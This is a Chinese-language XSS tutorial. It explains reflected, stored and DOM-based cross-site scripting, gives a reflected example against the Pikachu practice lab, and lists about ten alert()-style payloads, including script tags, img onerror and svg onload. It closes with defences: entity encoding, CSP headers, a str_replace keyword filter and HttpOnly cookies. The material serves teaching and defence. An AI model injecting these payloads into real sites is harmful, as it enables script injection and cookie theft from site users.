跨站脚本攻击:cross site script ==xss
xss和sql注入有点类似,可以理解为html注入
1.xss简介
XSS全称:跨站脚本(Cross Site Scripting) ,为了不和层叠样式表(Cascading Style Sheets)的缩
写CSS混合,所以改名为XSS;攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript
代码,导致管理员/用户访问时触发,从而达到攻击者的目的。
2.xss的危害
1.获取用户的cookie
2.拍照并上传到xss后台
3.获取经纬度,物理定位
4.获取真实ip
......
理论上xss的危害无上限,关键看js代码的功能
3.xss的类型
3.1 反射型
http://xx.xx.xx.xx/pikachu/vul/xss/xss_reflected_get.php?
message=kobe%3Cscript%3Ealert%28123%29%3C%2Fscript%3E&submit=submit
3.2 存储型
3.3 dom型
dom型不需要向服务端发起请求,完全由前端js触发,属于自嗨型
4.xss的常见payload
<script>alert(123)</script>
<script>confirm(123)</script>
<script>prompt(123)</script>
<a href="javascript:alert(123)">sdsds</a>
<img src=1 onerror=alert("xss");>
<svg onload=alert(123)>
<iframe src="javascript:alert(1)">test</iframe>
<audio src=1 onerror=alert(1)>
<video src=x onerror=alert(1)>
<button onclick=alert(1)>
.....
5.xss的防御
5.1 htmlspecialchars实体编码转换
$message=htmlspecialchars($_GET['message']);
5.2 配置csp策略
apache: Header set Content-Security-Policy "default-src 'self'"
nginx: add_header content-security-policy 'script-src "self"';
nginx配置
apache配置:
5.3 对输入或者输出的内容进行过滤
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
5.4 设置http-only
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
设置HttpOnly属性是提高网站安全性的重要步骤。 通过阻止客户端脚本访问Cookies,可以减少XSS攻击
的风险,并增强用户的隐私